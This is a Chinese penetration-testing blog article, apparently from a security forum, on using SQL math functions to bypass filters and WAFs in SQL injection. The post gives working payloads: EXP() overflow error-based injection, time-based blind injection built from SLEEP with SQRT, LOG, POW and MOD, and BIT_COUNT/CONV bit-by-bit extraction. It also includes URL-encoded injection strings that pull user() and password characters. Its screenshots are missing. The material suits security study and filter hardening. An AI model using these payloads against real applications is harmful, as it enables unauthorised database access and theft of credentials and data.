探索SQL注入中数学函数的应用:绕过过滤、"算"出数据

探讨在渗透测试当中使用数学函数进行sql注入,以绕过某些场景下的防护限制。

首先要明白,我们为什么需要去了解sql中的数学函数

在很多业务场景下,开发人员在处理sql注入问题上有很多考虑(对业务的影响或代码的耦合性太高导致修复时间成本剧增),导致其无法对用户的输入进行预编译处理,只能通过对接受参数进行正则匹配过滤,对常用的一些敏感语句或方法进行限制,或采用waf等安全设备进行防护。

而类似的这些方法其实没有根本上解决问题,只是通过这些手段对攻击者进行“欺骗”,诱使攻击者认为当前被攻击处是安全的,或变相的告知攻击者此处进行了强防御。

对我们来讲,无论从攻击利用还是防御加固的角度,绕过技巧便成为了一门必修课,思考剖析目标的防御规则,针对性的测试出木桶的短板。

在数据库中使用数学函数可以显著提升数据处理的效率、简化应用逻辑,并确保计算的一致性与准确性。

而站在安全的角度,数学函数是连接原始输入与注入逻辑的桥梁,我们既能通过它去绕过表层防御,又能实现精确的获取数据。

在SQL注入中,数学函数的巧妙应用常用于绕过过滤规则、构造布尔/时间盲注、触发报错泄露数据等场景。

一、数学函数在报错注入中的应用

原理:某些数学函数在特定参数下会触发数据库错误,结合报错注入技术可实现数据提取。
典型案例

EXP()

-- MySQL:利用exp()函数溢出触发报错(需满足~0按位取反后数值足够大)
SELECT EXP(~(SELECT * FROM (SELECT version())x))
-- 报错信息会返回当前数据库版本:Double value is out of range in 'exp(~((select version() from dual)))'

ex:

image.png

image.png

这是一个Double型数据溢出造成的问题。在MySQL中,exp()为指数函数,与ln()和log()对数函数的功能相反,log()和ln()都是返回以e为底数的对数:

image.png

当exp()运算超出709的数时,就会导致溢出错误:

image.png

image.png

在mysql数据库查询中,对0按位取反,我们能得到最大的无符号BIGINT值。(在计算机中高位第一位为符号位,1为负数,0为正数):

image.png
加入子查询,就会执行子查询的结果再进行取反:

image.png

image.png

image.png

image.png
因此,只要我们对子查询的结果进行取反,再放入exp()函数中,就会可以通过报错进行注入获取到想要的数据:

image.png

这种方法就是利用了数学函数的特性结合数据库的语法进行注入获取数据。

二、盲注中的数学函数技巧

熟悉理解了上面讲述的知识,再基于sql查询中各类取值和运算的方法,我们就能创造出五花八门的注入方法。

在注入类型中,最常见的就是盲注了。毕竟处理异常报错问题是开发人员的必修课,大多数情况下的注入都没有实际的数据库报错信息抛出的。

这时我们的注入就分为了两种判断,一个是时间差异判断,一个是响应结果内容差异判断。结合数学函数的运行结果来操控这些差异的幅度,我们就能够进行注入获取到准确的数据库信息了。

1. 时间盲注(Time-Based)

sqrt(n): 平方根,会对传入的数据进行开平方,如果传入的数据小于0,则会返回NULL(oracle会直接报错ORA-01428: argument 'number' is out of range)

-- MySQL:利用sleep()或重复计算消耗时间
select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-114));
-- 若首字符ASCII为114('r'),则延迟响应0秒
-- 若sleep内传入的数小于0,则会报错

image.png

image.png

image.png

当判断的数字远远小于需要获取的值,就会特别的消耗时间资源,所以一般不建议直接延时运算的值,而是配合判断一起。(除非被限制了判断函数):

image.png
log(n)/log(m,n): 返回自然数的对数,n小于0为null(oracle报错),log(1)=0,因为是对数求值结果较小,时间开销不大(推荐):

select if ((log(ASCII(SUBSTR(user(),1,1))-113))=0,sleep(1),1);

image.png
pow(m,n): 幂,当底数是负数且指数是非整数时,会报错,直接结果延时判断消耗时间相对可控(指数)。

select pow(4,0.5);  
-- ex
'+or+if(POW((ASCII(SUBSTR(user(),1,1))-114),0.5)=0,sleep(2),1)='1 

image.png

image.png

mod(m,n):模运算,本质为求余数;如果模运算的除数为零,则会返回null(oracle会报错),如果第一个值和第二个值的绝对值求余不为0且第一个值小于第二个值的绝对值,则直接返回第一个值,否则返回余数

select mod(0,-1);
-- 0与任何数的余数都为0
select sleep(3/ISNULL(MOD(0,ASCII(SUBSTR(user(),1,1))-114)));
-- isnull表示判断是否为null,是返回1,否则返回0

image.png
ACOS(n)和ASIN(n): 三角函数/反三角函数,取值范围在(-1~1)之间,返回值约在3.14~0/-1.5~1.5之间,超出取值范围返回null(oracle会报错);正弦曲线峰值约为1.5,余弦曲线峰值约为3.14(推荐用余弦函数)

image.png

image.png
还有如ln(),ceil(),floor()和TAN()等等,数据库的不同导致部分数学函数用法也有差异,这里就不全部列举了,感兴趣的可以自行了解。

2. 布尔盲注(Boolean-Based)

-- 通过数学运算构造真/假条件
SELECT * FROM users WHERE id=1 AND (LENGTH(database())=8)*1=1
-- 若数据库名长度为8则返回正常页面,否则无结果

在根据返回内容进行判断情况下,通过函数正常执行与非正常执行,或执行后的差异不同即可判断注入得到对应的结果。

例如sqrt():
我们可以通过isnull来判断,运算结果为null则返回1,否则返回0:

image.png
当无法使用类似于ISNULL这种判断的方法,其实也可以直接根据运算的结果去获取数据:
image.png
image.png
当然,如果正常查询本身的内容为空导致无法依据回显数据差异来判断,我们就可以利用函数错误执行触发异常处理显示差异来判断,例如sqrt()在oracle中小于0就会报错:

image.png

image.png
sqrt函数的特性就是计算的值不小于0,所以计算值只要不小于0则都不会执行错误。所以我们fuzz判断的依据就是当第一次出现异常的结果即sqrt(-1),正确的字符的ascii值就为fuzz的结果-1的值(或者最后一次正常的值sqrt(0)):

image.png

image.png
第一个字符的ascii值就是83,字符S,依次类推就能得到最终的结果SYSTEM.

其他的函数也是如此,通过触发其非预期的处理或错误执行,来进行注入判断获取数据。

数据转换绕过

使用数学函数时,我们需要把要获取字符串截取转换为数值进行运算。

1. 字符串转数值

-- 将字符转换为ASCII码后参与运算
SELECT ORD('a')-96  -- 返回1(ASCII码转换)
-- 结合SUBSTR逐位提取数据:
SELECT (ASCII(SUBSTR(password,1,1)) > 100) FROM users WHERE id=1

2. 进制转换绕过过滤

-- 使用CONV()函数进行进制转换
SELECT CONV(HEX(SUBSTR(user(),1,1)),16,10)  
-- 将字符转为十进制数值

四、进阶:数学函数与位运算

-- 利用BIT_COUNT()函数进行二进制分析
SELECT BIT_COUNT(ASCII('a') & 1)  -- 判断字符最低位是否为1
-- 结合逐位探测可提取完整数据

在mysql中,BIT_COUNT(n):位计数函数,用于计算数字中1的个数。例如对于数字1,二进制表示为0000 0001,只有一个1,所以BIT_COUNT(1)返回1。

a的ascii值为97,二进制表示为0110 0001,与0000 0001进行与运算,得到的结果为0000,0001,再通过位计数函数,就能判断出a的ascii值的二进制表示最低位为1.

128=1000 000064=0100 000032=0010 000016=0001 00008=0000 10004=0000 01002=0000 0010

依此类推,通过位运算,我们可以逐渐得到字符ascii值的二进制表示每个位上是1还是0:

image.png

image.png
合起来结果就是0110 0001, 符号a.
再与上述的转换绕过和错误执行判断相结合进行注入:

SELECT sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)&1));

1'+or+1/sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)%261))='1

例如下图:

image.png
依据正常执行与执行报错的响应不同进行判断,能得到结果为0111 0010,获取到第一个字符为r.

  • 发表于 2025-03-21 09:00:00
  • 阅读 ( 2307 )
  • 分类:渗透测试

1 条评论

c铃儿响叮当
涨知识了
请先 登录 后评论
请先 登录 后评论
xinca0Zzz
xinca0Zzz

1 篇文章

站长统计